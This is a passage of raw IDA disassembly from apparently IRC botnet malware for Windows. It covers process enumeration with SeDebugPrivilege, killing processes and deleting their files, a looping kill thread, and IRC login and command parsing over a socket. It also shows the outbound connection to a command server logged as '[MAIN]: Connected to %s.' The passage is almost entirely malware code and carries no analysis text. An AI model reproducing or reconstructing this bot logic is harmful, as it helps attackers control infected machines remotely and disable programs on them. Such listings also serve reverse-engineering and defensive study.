		jz	short loc_408380
		lea	eax, [ebp+var_230]
		jmp	short loc_408386
; ---------------------------------------------------------------------------


loc_40837A:				; CODE XREF: sub_408206+152j
		push	[ebp+var_124]


loc_408380:				; CODE XREF: sub_408206+16Aj
		lea	eax, [ebp+var_108]


loc_408386:				; CODE XREF: sub_408206+172j
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4145E5
		add	esp, 10h
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h
		jmp	loc_40831E
; ---------------------------------------------------------------------------


loc_4083BA:				; CODE XREF: sub_408206+125j
		lea	eax, [ebp+var_108]


loc_4083C0:				; CODE XREF: sub_408206+1D6j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [edi]
		jnz	short loc_4083E2
		test	cl, cl
		jz	short loc_4083DE
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [edi+1]
		jnz	short loc_4083E2
		inc	eax
		inc	eax
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_4083C0


loc_4083DE:				; CODE XREF: sub_408206+1C4j
		xor	eax, eax
		jmp	short loc_4083E7
; ---------------------------------------------------------------------------


loc_4083E2:				; CODE XREF: sub_408206+1C0j
					; sub_408206+1CEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4083E7:				; CODE XREF: sub_408206+1DAj
		test	eax, eax
		jz	short loc_40841E


loc_4083EB:				; CODE XREF: sub_408206+E9j
					; sub_408206+101j ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_435798	; Process32Next
		test	eax, eax
		jnz	loc_4082C5
		xor	ebx, ebx


loc_408405:				; CODE XREF: sub_408206+9Dj
					; sub_408206+B3j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_40840A:				; CODE XREF: sub_408206+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40819B
		pop	ecx
		pop	ecx


loc_408417:				; CODE XREF: sub_408206+3Aj
					; sub_408206+46j ...
		xor	eax, eax


loc_408419:				; CODE XREF: sub_408206+30Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40841E:				; CODE XREF: sub_408206+1E3j
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		push	[ebp+var_124]
		mov	edi, eax
		push	8
		call	dword_4357D8	; CreateToolhelp32Snapshot
		push	[ebp+var_4]
		mov	ebx, eax
		mov	[ebp+var_350], 224h
		call	esi	; CloseHandle
		push	0
		push	edi
		call	ds:dword_4200E8	; TerminateProcess
		test	eax, eax
		jnz	short loc_408463
		push	edi
		call	esi	; CloseHandle
		push	ebx
		call	esi	; CloseHandle
		jmp	short loc_408417
; ---------------------------------------------------------------------------


loc_408463:				; CODE XREF: sub_408206+253j
		cmp	[ebp+arg_18], 0
		jz	loc_408511
		lea	eax, [ebp+var_350]
		push	eax
		push	ebx
		call	dword_435800	; Module32First
		test	eax, eax
		jz	short loc_4084D6
		push	ebx
		call	esi	; CloseHandle
		xor	esi, esi


loc_408484:				; CODE XREF: sub_408206+2B2j
		push	7D0h
		call	ds:dword_420000	; Sleep
		push	20h
		lea	eax, [ebp+var_230]
		push	eax
		inc	esi
		call	ds:dword_4200CC	; SetFileAttributesA
		lea	eax, [ebp+var_230]
		push	eax
		call	ds:dword_4200E4	; DeleteFileA
		test	eax, eax
		setnz	al
		test	al, al
		jnz	short loc_4084C8
		cmp	esi, 5
		jl	short loc_408484
		lea	eax, [ebp+var_230]
		push	eax
		push	offset aCouldNotDelete ; "Could	not delete '%s'.!\n"
		jmp	short loc_4084E2
; ---------------------------------------------------------------------------


loc_4084C8:				; CODE XREF: sub_408206+2ADj
		lea	eax, [ebp+var_230]
		push	eax
		push	offset aFileDeletedS_ ;	"[FILE]: Deleted '%s'.\n"
		jmp	short loc_4084E2
; ---------------------------------------------------------------------------


loc_4084D6:				; CODE XREF: sub_408206+277j
		lea	eax, [ebp+var_108]
		push	eax
		push	offset aCannotExtractP ; "Cannot extract process path for %s\n"


loc_4084E2:				; CODE XREF: sub_408206+2C0j
					; sub_408206+2CEj
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_408511
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_408511:				; CODE XREF: sub_408206+261j
					; sub_408206+2EFj
		xor	eax, eax
		inc	eax
		jmp	loc_408419
sub_408206	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_408519	proc near		; DATA XREF: sub_408A18+4833o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 298h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+74h+var_298]
		push	offset aProcListingPro ; "[PROC]: Listing processes:"
		push	eax
		call	sub_4145E5
		xor	esi, esi
		cmp	[ebp+74h+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_408571
		push	esi
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_298]
		push	eax
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_4056FB
		add	esp, 14h


loc_408571:				; CODE XREF: sub_408519+3Cj
		push	esi
		push	[ebp+74h+var_10]
		lea	eax, [ebp+74h+var_94]
		push	esi
		push	esi
		push	[ebp+74h+var_C]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_408206
		add	esp, 1Ch
		test	eax, eax
		lea	eax, [ebp+74h+var_298]
		jnz	short loc_40859A
		push	offset aProcProcessLis ; "[PROC]: Process list completed."
		jmp	short loc_40859F
; ---------------------------------------------------------------------------


loc_40859A:				; CODE XREF: sub_408519+78j
		push	offset aProcProcessL_0 ; "[PROC]: Process list failed."


loc_40859F:				; CODE XREF: sub_408519+7Fj
		push	eax
		call	sub_4145E5
		cmp	[ebp+74h+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4085C6
		push	esi
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_298]
		push	eax
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_4056FB
		add	esp, 14h


loc_4085C6:				; CODE XREF: sub_408519+91j
		lea	eax, [ebp+74h+var_298]
		push	eax
		call	sub_401EFF
		push	[ebp+74h+var_14]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_408519	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4085E4	proc near		; CODE XREF: sub_408A18+3994p
					; sub_41255A+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		push	0
		push	1F0FFFh
		inc	edi
		call	ds:dword_420078	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_408616
		push	0
		push	esi
		call	ds:dword_4200E8	; TerminateProcess
		test	eax, eax
		jnz	short loc_408616
		push	esi
		xor	edi, edi
		call	ds:dword_42003C	; CloseHandle


loc_408616:				; CODE XREF: sub_4085E4+1Aj
					; sub_4085E4+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4085E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40861B	proc near		; DATA XREF: sub_408A18+1EFCo
		push	esi
		xor	esi, esi


loc_40861E:				; CODE XREF: sub_40861B+20j
		push	esi
		push	1
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_408206
		add	esp, 1Ch
		push	dword_42B4C8
		call	ds:dword_420000	; Sleep
		jmp	short loc_40861E
sub_40861B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=58h


sub_40863D	proc near		; CODE XREF: sub_4088B9+D0p

var_1E1C	= byte ptr -1E1Ch
var_E1C		= byte ptr -0E1Ch
var_64C		= byte ptr -64Ch
var_5AC		= byte ptr -5ACh
var_4AC		= byte ptr -4ACh
var_2AC		= byte ptr -2ACh
var_AC		= byte ptr -0ACh
var_2C		= byte ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	eax, 1E1Ch
		lea	ebp, [esp-58h]
		call	sub_414800
		push	ebx
		push	esi
		xor	ebx, ebx
		push	2
		mov	[ebp+58h+var_14], ebx
		lea	eax, [ebp+58h+var_5AC]
		pop	ecx


loc_40865C:				; CODE XREF: sub_40863D+28j
		and	byte ptr [eax],	0
		add	eax, 80h
		dec	ecx
		jnz	short loc_40865C
		cmp	byte_47BF00, 0
		jz	short loc_408685
		push	offset byte_47BF00
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+58h+arg_0]
		call	sub_4056B0
		add	esp, 0Ch


loc_408685:				; CODE XREF: sub_40863D+31j
		push	[ebp+58h+arg_C]
		lea	eax, [ebp+58h+var_2C]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40FD06
		add	esp, 10h
		push	eax
		push	[ebp+58h+arg_C]
		lea	eax, [ebp+58h+var_AC]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+58h+var_AC]
		add	esp, 14h
		lea	esi, [eax+1]


loc_4086B3:				; CODE XREF: sub_40863D+7Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4086B3
		push	ebx
		sub	eax, esi
		push	eax
		lea	eax, [ebp+58h+var_AC]
		push	eax
		push	[ebp+58h+arg_0]
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4086EB
		push	[ebp+58h+arg_0]
		call	dword_4358F4	; closesocket
		push	7D0h
		call	ds:dword_420000	; Sleep
		xor	eax, eax
		jmp	loc_4088B2
; ---------------------------------------------------------------------------


loc_4086EB:				; CODE XREF: sub_40863D+91j
		push	edi
		jmp	loc_408878
; ---------------------------------------------------------------------------


loc_4086F1:				; CODE XREF: sub_40863D+262j
		lea	eax, [ebp+58h+var_E1C]
		push	eax
		lea	eax, [ebp+58h+var_1E1C]
		push	eax
		call	sub_406769
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+58h+var_18], eax
		mov	[ebp+58h+var_10], ebx
		jle	loc_408878
		lea	esi, [ebp+58h+var_E1C]
		mov	[ebp+58h+var_C], esi


loc_40871D:				; CODE XREF: sub_40863D+235j
		push	offset asc_425A50 ; " :"
		push	dword ptr [esi]
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [ebp+58h+var_2AC]
		rep stosd
		call	sub_4150B0
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+58h+var_4], eax
		jz	short loc_408747
		add	[ebp+58h+var_4], 2
		jmp	short loc_40874C
; ---------------------------------------------------------------------------


loc_408747:				; CODE XREF: sub_40863D+102j
		mov	eax, [esi]
		mov	[ebp+58h+var_4], eax


loc_40874C:				; CODE XREF: sub_40863D+108j
		push	1FFh
		push	[ebp+58h+var_4]
		lea	eax, [ebp+58h+var_2AC]
		push	eax
		call	sub_414670
		lea	eax, [ebp+58h+var_2AC]
		push	offset asc_425A4C ; "|"
		push	eax
		call	sub_415459
		add	esp, 14h
		test	eax, eax
		mov	[ebp+58h+var_8], eax
		lea	ebx, [ebp+58h+var_2AC]
		jz	loc_408861


loc_408785:				; CODE XREF: sub_40863D+21Ej
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [ebp+58h+var_4AC]
		rep stosd
		mov	eax, [esi]
		mov	ecx, [ebp+58h+var_4]
		sub	ecx, eax
		push	ecx
		push	eax
		lea	eax, [ebp+58h+var_4AC]
		push	eax
		call	sub_414670
		mov	eax, [ebp+58h+var_8]
		add	esp, 0Ch
		mov	esi, eax


loc_4087B1:				; CODE XREF: sub_40863D+179j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4087B1
		lea	edi, [ebp+58h+var_4AC]
		sub	eax, esi
		dec	edi


loc_4087C1:				; CODE XREF: sub_40863D+18Aj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_4087C1
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+58h+var_8]
		and	ecx, 3
		rep movsb
		lea	esi, [eax+1]


loc_4087DD:				; CODE XREF: sub_40863D+1A5j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4087DD
		sub	eax, esi
		lea	ebx, [ebx+eax+1]
		push	offset asc_425A4C ; "|"
		push	ebx
		call	sub_415459
		pop	ecx
		xor	esi, esi
		pop	ecx
		mov	[ebp+58h+var_8], eax
		inc	esi


loc_4087FD:				; CODE XREF: sub_40863D+206j
		push	[ebp+58h+arg_1C]
		lea	eax, [ebp+58h+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+58h+var_64C]
		push	eax
		lea	eax, [ebp+58h+var_5AC]
		push	eax
		push	[ebp+58h+arg_18]
		lea	eax, [ebp+58h+var_4AC]
		push	[ebp+58h+arg_C]
		push	[ebp+58h+arg_8]
		push	[ebp+58h+arg_4]
		push	[ebp+58h+arg_0]
		push	eax
		call	sub_408A18
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		test	esi, esi
		jle	short loc_408845
		push	0FAh
		call	ds:dword_420000	; Sleep
		jmp	short loc_4087FD
; ---------------------------------------------------------------------------


loc_408845:				; CODE XREF: sub_40863D+1F9j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_4088AE
		cmp	esi, 0FFFFFFFEh
		jz	short loc_4088A9
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4088A5
		cmp	[ebp+58h+var_8], 0
		mov	esi, [ebp+58h+var_C]
		jnz	loc_408785


loc_408861:				; CODE XREF: sub_40863D+142j
		inc	[ebp+58h+var_10]
		mov	eax, [ebp+58h+var_10]
		add	esi, 4
		xor	ebx, ebx
		cmp	eax, [ebp+58h+var_18]
		mov	[ebp+58h+var_C], esi
		jl	loc_40871D


loc_408878:				; CODE XREF: sub_40863D+AFj
					; sub_40863D+D1j
		xor	eax, eax
		push	ebx
		lea	edi, [ebp+58h+var_1E1C]
		mov	ecx, 400h
		rep stosd
		push	1000h
		lea	eax, [ebp+58h+var_1E1C]
		push	eax
		push	[ebp+58h+arg_0]
		call	dword_43575C	; recv
		test	eax, eax
		jg	loc_4086F1


loc_4088A5:				; CODE XREF: sub_40863D+215j
		xor	eax, eax
		jmp	short loc_4088B1
; ---------------------------------------------------------------------------


loc_4088A9:				; CODE XREF: sub_40863D+210j
		xor	eax, eax
		inc	eax
		jmp	short loc_4088B1
; ---------------------------------------------------------------------------


loc_4088AE:				; CODE XREF: sub_40863D+20Bj
		push	2
		pop	eax


loc_4088B1:				; CODE XREF: sub_40863D+26Aj
					; sub_40863D+26Fj
		pop	edi


loc_4088B2:				; CODE XREF: sub_40863D+A9j
		pop	esi
		pop	ebx
		add	ebp, 58h
		leave
		retn
sub_40863D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088B9	proc near		; CODE XREF: sub_40E745+472p
					; DATA XREF: sub_408A18+2C18o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	59h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		inc	ebx
		rep movsd
		mov	[eax+160h], ebx
		jmp	loc_4089B4
; ---------------------------------------------------------------------------


loc_4088E3:				; CODE XREF: sub_4088B9+129j
		push	7
		pop	ecx
		xor	eax, eax
		push	eax
		push	dword_42BEDC
		lea	edi, [ebp+var_2C]
		push	dword_42BED8
		rep stosd
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_40FD06
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_436698
		push	edi
		push	eax
		call	sub_414670
		add	esp, 1Ch
		push	6
		push	ebx
		push	2
		call	dword_4357E8	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		mov	dword_43668C[eax], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4357A0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4089EA
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset aMainConnectedT ; "[MAIN]: Connected to %s."
		call	sub_401F73
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		push	[ebp+var_190]
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40863D
		add	esp, 28h
		push	esi
		mov	edi, eax
		call	dword_4358F4	; closesocket
		test	edi, edi
		jz	short loc_4089B4
		cmp	edi, ebx
		jnz	short loc_4089AF
		push	1D4C0h
		call	ds:dword_420000	; Sleep
		jmp	short loc_4089B4
; ---------------------------------------------------------------------------


loc_4089AF:				; CODE XREF: sub_4088B9+E7j
		cmp	edi, 2
		jz	short loc_408A05


loc_4089B4:				; CODE XREF: sub_4088B9+25j
					; sub_4088B9+E3j ...
		push	[ebp+var_3C]
		xor	eax, eax
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_10], 2
		call	dword_435934	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_407C3B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jnz	loc_4088E3
		jmp	short loc_408A11
; ---------------------------------------------------------------------------


loc_4089EA:				; CODE XREF: sub_4088B9+92j
		push	esi
		call	dword_4358F4	; closesocket
		call	sub_407C64
		push	7D0h
		call	ds:dword_420000	; Sleep
		mov	eax, ebx
		jmp	short loc_408A11
; ---------------------------------------------------------------------------


loc_408A05:				; CODE XREF: sub_4088B9+F9j
		push	[ebp+var_34]
		call	sub_412735
		pop	ecx
		push	2
		pop	eax


loc_408A11:				; CODE XREF: sub_4088B9+12Fj
					; sub_4088B9+14Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4088B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A18	proc near		; CODE XREF: sub_40863D+1ECp

var_2800	= byte ptr -2800h
var_2400	= byte ptr -2400h
var_2270	= byte ptr -2270h
var_2070	= byte ptr -2070h
var_1F70	= byte ptr -1F70h
var_1D70	= byte ptr -1D70h
var_1C70	= byte ptr -1C70h
var_1C6C	= byte ptr -1C6Ch
var_1B6C	= dword	ptr -1B6Ch
var_1B68	= dword	ptr -1B68h
var_1B64	= byte ptr -1B64h
var_1AE4	= byte ptr -1AE4h
var_1A64	= byte ptr -1A64h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_18E4	= dword	ptr -18E4h
var_18E0	= dword	ptr -18E0h
var_18DC	= dword	ptr -18DCh
var_18D8	= dword	ptr -18D8h
var_18D4	= byte ptr -18D4h
var_1854	= byte ptr -1854h
var_17D4	= byte ptr -17D4h
var_1754	= byte ptr -1754h
var_16D4	= dword	ptr -16D4h
var_16D0	= dword	ptr -16D0h
var_16CC	= dword	ptr -16CCh
var_16C8	= dword	ptr -16C8h
var_16C4	= dword	ptr -16C4h
var_16C0	= byte ptr -16C0h
var_15C0	= byte ptr -15C0h
var_1540	= dword	ptr -1540h
var_1538	= dword	ptr -1538h
var_1534	= dword	ptr -1534h
var_1530	= dword	ptr -1530h
var_152C	= dword	ptr -152Ch
var_1528	= dword	ptr -1528h
var_1524	= byte ptr -1524h
var_1520	= byte ptr -1520h
var_1420	= byte ptr -1420h
var_141C	= byte ptr -141Ch
var_139C	= byte ptr -139Ch
var_135C	= byte ptr -135Ch
var_12CC	= dword	ptr -12CCh
var_12C8	= dword	ptr -12C8h
var_12C4	= dword	ptr -12C4h
var_12C0	= dword	ptr -12C0h
var_12BC	= dword	ptr -12BCh
var_12B8	= byte ptr -12B8h
var_12B4	= dword	ptr -12B4h
var_12B0	= byte ptr -12B0h
var_1230	= byte ptr -1230h
var_11B4	= byte ptr -11B4h
var_112C	= byte ptr -112Ch
var_10B0	= dword	ptr -10B0h
var_10AC	= dword	ptr -10ACh
var_10A8	= dword	ptr -10A8h
var_10A4	= byte ptr -10A4h
var_1028	= dword	ptr -1028h
var_1024	= dword	ptr -1024h
var_1020	= dword	ptr -1020h
var_101C	= dword	ptr -101Ch
var_1018	= dword	ptr -1018h
var_1010	= byte ptr -1010h
var_F90		= byte ptr -0F90h
var_F10		= dword	ptr -0F10h
var_F0C		= dword	ptr -0F0Ch
var_F08		= dword	ptr -0F08h
var_F00		= dword	ptr -0F00h
var_EFC		= dword	ptr -0EFCh
var_EF8		= dword	ptr -0EF8h
var_EF0		= dword	ptr -0EF0h
var_EEC		= byte ptr -0EECh
var_EE8		= dword	ptr -0EE8h
var_EE4		= byte ptr -0EE4h
var_E64		= byte ptr -0E64h
var_D64		= byte ptr -0D64h
var_C65		= byte ptr -0C65h
var_C64		= byte ptr -0C64h
var_B64		= dword	ptr -0B64h
var_B60		= dword	ptr -0B60h
var_B5C		= dword	ptr -0B5Ch
var_B58		= dword	ptr -0B58h
var_B54		= dword	ptr -0B54h
var_B50		= dword	ptr -0B50h
var_B4C		= dword	ptr -0B4Ch
var_B48		= dword	ptr -0B48h
var_B44		= dword	ptr -0B44h
var_B40		= byte ptr -0B40h
var_AC0		= dword	ptr -0AC0h
var_ABC		= byte ptr -0ABCh
var_AB0		= byte ptr -0AB0h
var_AAC		= byte ptr -0AACh
var_A3C		= byte ptr -0A3Ch
var_9BC		= dword	ptr -9BCh
var_9B8		= dword	ptr -9B8h
var_9B4		= dword	ptr -9B4h
var_9B0		= dword	ptr -9B0h
var_9AC		= byte ptr -9ACh
var_9A0		= byte ptr -9A0h
var_990		= dword	ptr -990h
var_98C		= byte ptr -98Ch
var_954		= dword	ptr -954h
var_950		= byte ptr -950h
var_90C		= byte ptr -90Ch
var_8D0		= byte ptr -8D0h
var_8CC		= byte ptr -8CCh
var_850		= byte ptr -850h
var_7D0		= dword	ptr -7D0h
var_7CC		= dword	ptr -7CCh
var_7C8		= dword	ptr -7C8h
var_7C4		= dword	ptr -7C4h
var_7C0		= dword	ptr -7C0h
var_7BC		= dword	ptr -7BCh
var_7B8		= dword	ptr -7B8h
var_7B4		= dword	ptr -7B4h
var_7B0		= dword	ptr -7B0h
var_7AC		= byte ptr -7ACh
var_72C		= byte ptr -72Ch
var_6AC		= dword	ptr -6ACh
var_6A8		= dword	ptr -6A8h
var_6A4		= dword	ptr -6A4h
var_6A0		= dword	ptr -6A0h
var_69C		= dword	ptr -69Ch
var_698		= dword	ptr -698h
var_694		= dword	ptr -694h
var_690		= dword	ptr -690h
var_68C		= byte ptr -68Ch
var_67C		= byte ptr -67Ch
var_5FC		= dword	ptr -5FCh
var_5F8		= byte ptr -5F8h
var_578		= byte ptr -578h
var_4F8		= dword	ptr -4F8h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4BC		= byte ptr -4BCh
var_45B		= byte ptr -45Bh
var_45A		= byte ptr -45Ah
var_458		= byte ptr -458h
var_457		= byte ptr -457h
var_454		= dword	ptr -454h
var_450		= byte ptr -450h
var_44E		= byte ptr -44Eh
var_44C		= byte ptr -44Ch
var_44B		= byte ptr -44Bh
var_44A		= byte ptr -44Ah
var_449		= byte ptr -449h
var_442		= byte ptr -442h
var_420		= byte ptr -420h
var_400		= dword	ptr -400h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= dword	ptr -3CCh
var_3C8		= dword	ptr -3C8h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= byte ptr -3BCh
var_3A0		= dword	ptr -3A0h
var_39C		= byte ptr -39Ch
var_398		= dword	ptr -398h
var_394		= byte ptr -394h
var_388		= dword	ptr -388h
var_384		= byte ptr -384h
var_31C		= byte ptr -31Ch
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_D8		= word ptr -0D8h
var_D6		= word ptr -0D6h
var_D4		= dword	ptr -0D4h
var_C8		= byte ptr -0C8h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_68		= byte ptr -68h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 2800h
		call	sub_414800
		push	ebx
		push	esi
		push	edi
		mov	esi, 80h
		xor	eax, eax
		push	1Bh
		push	[ebp+arg_10]
		xor	ebx, ebx
		mov	ecx, esi
		lea	edi, [ebp+var_2F0]
		rep stosd
		lea	eax, [ebp+var_3BC]
		push	eax
		mov	[ebp+var_20], 3
		mov	[ebp+var_18], ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C], ebx
		call	sub_414670
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		jz	loc_408C98
		mov	ecx, esi
		mov	esi, 1FFh
		push	esi
		push	[ebp+arg_0]
		lea	edi, [ebp+var_1F70]
		rep stosd
		lea	eax, [ebp+var_1F70]
		push	eax
		call	sub_414670
		lea	eax, [ebp+var_1F70]
		push	offset asc_425A50 ; " :"
		push	eax
		call	sub_4150B0
		mov	[ebp+var_14], eax
		push	esi
		lea	eax, [ebp+var_1F70]
		push	eax
		lea	eax, [ebp+var_2270]
		push	eax
		call	sub_414670
		mov	esi, offset asc_420AE8 ; " "
		lea	eax, [ebp+var_2270]
		push	esi
		push	eax
		call	sub_415459
		xor	edi, edi
		add	esp, 28h
		mov	[ebp+var_A8], eax
		inc	edi


loc_408AD5:				; CODE XREF: sub_408A18+D1j
		push	esi
		push	ebx
		call	sub_415459
		mov	[ebp+edi*4+var_A8], eax
		inc	edi
		cmp	edi, 20h
		pop	ecx
		pop	ecx
		jl	short loc_408AD5
		mov	ebx, [ebp+var_A8]
		xor	esi, esi
		cmp	ebx, esi
		jz	loc_408C96
		cmp	[ebp+var_A4], esi
		jz	loc_408C96
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_4BC]
		push	1Fh
		rep stosd
		pop	edx


loc_408B17:				; CODE XREF: sub_408A18+137j
		lea	ecx, [ebp+edx*4+var_A8]
		mov	eax, [ecx]
		cmp	eax, esi
		jz	short loc_408B4E
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_408B51
		cmp	byte ptr [eax+2], 0
		jnz	short loc_408B51
		movsx	edi, byte ptr [eax+1]
		and	byte ptr [eax],	0
